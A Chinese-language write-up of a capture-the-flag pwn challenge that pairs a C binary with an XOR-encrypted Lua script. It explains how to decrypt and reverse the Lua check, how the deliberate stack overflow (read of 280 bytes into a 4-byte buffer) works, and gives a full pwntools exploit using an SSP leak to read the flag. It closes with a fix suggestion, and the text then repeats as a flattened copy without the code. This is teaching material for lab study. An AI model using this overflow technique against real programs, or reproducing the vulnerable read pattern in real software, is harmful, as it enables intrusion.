一道结合lua的pwn题--出题思路与解题过程
字数 1216 2025-08-24 07:48:09

Lua与Pwn结合题目解析与教学文档

1. 题目概述

这是一道结合Lua脚本的Pwn题目,主要考察以下知识点:

  • Lua与C程序的交互机制
  • Lua脚本的加密与解密
  • 逆向分析能力
  • 栈溢出漏洞利用
  • SSP (Stack Smashing Protector) leak技术

题目结构包含:

  1. 二进制可执行文件 Lua_magic
  2. 加密的Lua脚本 main.lua
  3. flag文件

2. 程序流程分析

2.1 主程序流程

  1. 读取并解密加密的Lua脚本
  2. 初始化Lua环境
  3. 加载解密后的Lua脚本
  4. 与用户进行三次数字交互验证
  5. 存在缓冲区溢出漏洞的read调用

2.2 关键函数分析

加密/解密函数

uint8_t *enc(uint8_t *data, int size) {
    uint8_t *temp = (uint8_t *)malloc(size);
    int k[3] = {2,3,5};  // 加密密钥
    int i;
    if (size) {
        for (i = 0; i < size; i++) {
            temp[i] = data[i]^k[i%3];  // 简单的异或加密
        }
        return temp;
    }
}

Lua环境初始化

lua_State *luaEnv = lua_open();  // 创建Lua环境
luaopen_base(luaEnv);  // 加载基础库
luaL_openlibs(luaEnv);  // 加载所有标准库

Lua脚本加载与执行

int loadInfo = luaL_loadstring(luaEnv,rea);  // 加载解密后的Lua脚本
lua_pcall(luaEnv,0,0,0);  // 执行Lua脚本
lua_getglobal(luaEnv,"hndl");  // 获取Lua函数hndl
lua_pushnumber(luaEnv,i);  // 压入参数
lua_pushnumber(luaEnv,j);
lua_pcall(luaEnv,2,1,0);  // 调用函数

3. Lua脚本分析

3.1 原始Lua脚本

function BitXOR(a,b)
    local p,c=1,0
    while a>0 and b>0 do
        local ra,rb=a%2,b%2
        if ra~=rb then c=c+p end
        a,b,p=(a-ra)/2,(b-rb)/2,p*2
    end
    if a<b then a=b end
    while a>0 do
        local ra=a%2
        if ra>0 then c=c+p end
        a,p=(a-ra)/2,p*2
    end
    return c
end

function hndl(i,j)
    j = BitXOR(5977654,j)
    return BitXOR(i,j)
end

3.2 Lua脚本功能

  1. BitXOR函数实现了位异或运算(因为Lua 5.1没有原生位运算支持)
  2. hndl函数处理输入的两个数字:
    • 首先将第二个参数j与5977654进行异或
    • 然后将结果与第一个参数i进行异或
    • 返回最终结果

4. 漏洞分析

4.1 主要漏洞

char b[4];
// ...
read(0,b,280);  // 明显的栈溢出漏洞

4.2 利用条件

  1. 需要先通过三次数字验证
  2. 溢出长度足够覆盖返回地址
  3. 程序没有开启PIE,flag存储在.bss段

5. 解题步骤

5.1 动态调试获取解密后的Lua脚本

  1. enc函数执行后设置断点
  2. 从内存中dump出解密后的Lua脚本

5.2 逆向Lua验证逻辑

  1. 分析hndl函数的处理逻辑
  2. 由于程序使用random()函数进行验证,需要逆向计算正确的输入

5.3 构造正确的输入

  1. 需要构造三个数字对(i,j)使得hndl(i,j) == random()
  2. 通过逆向计算可以得到:
    • 第一组:i=1, j=1808823120
    • 第二组:i=1, j=840963569
    • 第三组:i=1, j=1684516446

5.4 利用栈溢出

  1. 通过溢出覆盖返回地址
  2. 利用SSP leak技术读取flag
  3. flag存储在.bss段地址0x602140

5.5 完整exp

from pwn import *

context.log_level = 'debug'
p = process('./Lua_magic')

# 通过三次验证
p.recvuntil("Enter two numbers in your heart;)\n")
p.sendline("1")
p.sendline("1808823120")
sleep(1)

p.recvuntil("Enter two numbers in your heart;)\n")
p.sendline("1")
p.sendline("840963569")
sleep(1)

p.recvuntil("Enter two numbers in your heart;)\n")
p.sendline("1")
p.sendline("1684516446")
sleep(1)

# 利用栈溢出
p.send(p64(0x602140)*35)
p.interactive()

6. 修复建议

// 原漏洞代码
read(0,b,280);

// 修复方案
read(0,b,4);  // 限制读取长度不超过缓冲区大小

7. 知识点总结

  1. Lua与C交互

    • lua_open()创建Lua环境
    • luaL_loadstring()加载Lua代码
    • lua_pcall()执行Lua代码
    • lua_getglobal()获取Lua函数
    • 参数通过堆栈传递
  2. 加密/解密

    • 简单的异或加密
    • 可逆的加密算法
  3. 漏洞利用

    • 栈溢出漏洞利用
    • SSP leak技术
    • .bss段数据读取
  4. 逆向分析

    • Lua脚本逆向
    • 加密算法逆向
    • 验证逻辑逆向

8. 扩展思考

  1. 可以增加Lua脚本的复杂度,如加入更多验证逻辑
  2. 可以改进加密算法,增加逆向难度
  3. 可以结合更多Lua特性,如闭包、元表等
  4. 可以增加漏洞利用的难度,如加入更多保护机制

9. 参考资源

  1. Lua 5.1参考手册
  2. Lua与C交互指南
  3. Pwn技术相关文档
  4. 逆向工程工具使用(IDA、GDB等)
Lua与Pwn结合题目解析与教学文档 1. 题目概述 这是一道结合Lua脚本的Pwn题目,主要考察以下知识点: Lua与C程序的交互机制 Lua脚本的加密与解密 逆向分析能力 栈溢出漏洞利用 SSP (Stack Smashing Protector) leak技术 题目结构包含: 二进制可执行文件 Lua_magic 加密的Lua脚本 main.lua flag文件 2. 程序流程分析 2.1 主程序流程 读取并解密加密的Lua脚本 初始化Lua环境 加载解密后的Lua脚本 与用户进行三次数字交互验证 存在缓冲区溢出漏洞的read调用 2.2 关键函数分析 加密/解密函数 Lua环境初始化 Lua脚本加载与执行 3. Lua脚本分析 3.1 原始Lua脚本 3.2 Lua脚本功能 BitXOR 函数实现了位异或运算(因为Lua 5.1没有原生位运算支持) hndl 函数处理输入的两个数字: 首先将第二个参数j与5977654进行异或 然后将结果与第一个参数i进行异或 返回最终结果 4. 漏洞分析 4.1 主要漏洞 4.2 利用条件 需要先通过三次数字验证 溢出长度足够覆盖返回地址 程序没有开启PIE,flag存储在.bss段 5. 解题步骤 5.1 动态调试获取解密后的Lua脚本 在 enc 函数执行后设置断点 从内存中dump出解密后的Lua脚本 5.2 逆向Lua验证逻辑 分析 hndl 函数的处理逻辑 由于程序使用 random() 函数进行验证,需要逆向计算正确的输入 5.3 构造正确的输入 需要构造三个数字对(i,j)使得 hndl(i,j) == random() 通过逆向计算可以得到: 第一组:i=1, j=1808823120 第二组:i=1, j=840963569 第三组:i=1, j=1684516446 5.4 利用栈溢出 通过溢出覆盖返回地址 利用SSP leak技术读取flag flag存储在.bss段地址0x602140 5.5 完整exp 6. 修复建议 7. 知识点总结 Lua与C交互 : lua_open() 创建Lua环境 luaL_loadstring() 加载Lua代码 lua_pcall() 执行Lua代码 lua_getglobal() 获取Lua函数 参数通过堆栈传递 加密/解密 : 简单的异或加密 可逆的加密算法 漏洞利用 : 栈溢出漏洞利用 SSP leak技术 .bss段数据读取 逆向分析 : Lua脚本逆向 加密算法逆向 验证逻辑逆向 8. 扩展思考 可以增加Lua脚本的复杂度,如加入更多验证逻辑 可以改进加密算法,增加逆向难度 可以结合更多Lua特性,如闭包、元表等 可以增加漏洞利用的难度,如加入更多保护机制 9. 参考资源 Lua 5.1参考手册 Lua与C交互指南 Pwn技术相关文档 逆向工程工具使用(IDA、GDB等)